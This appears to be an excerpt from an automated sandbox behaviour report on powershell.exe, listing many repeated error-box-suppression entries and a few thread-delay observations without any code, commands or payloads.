Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6224	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2323	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6578	Jump to behavior
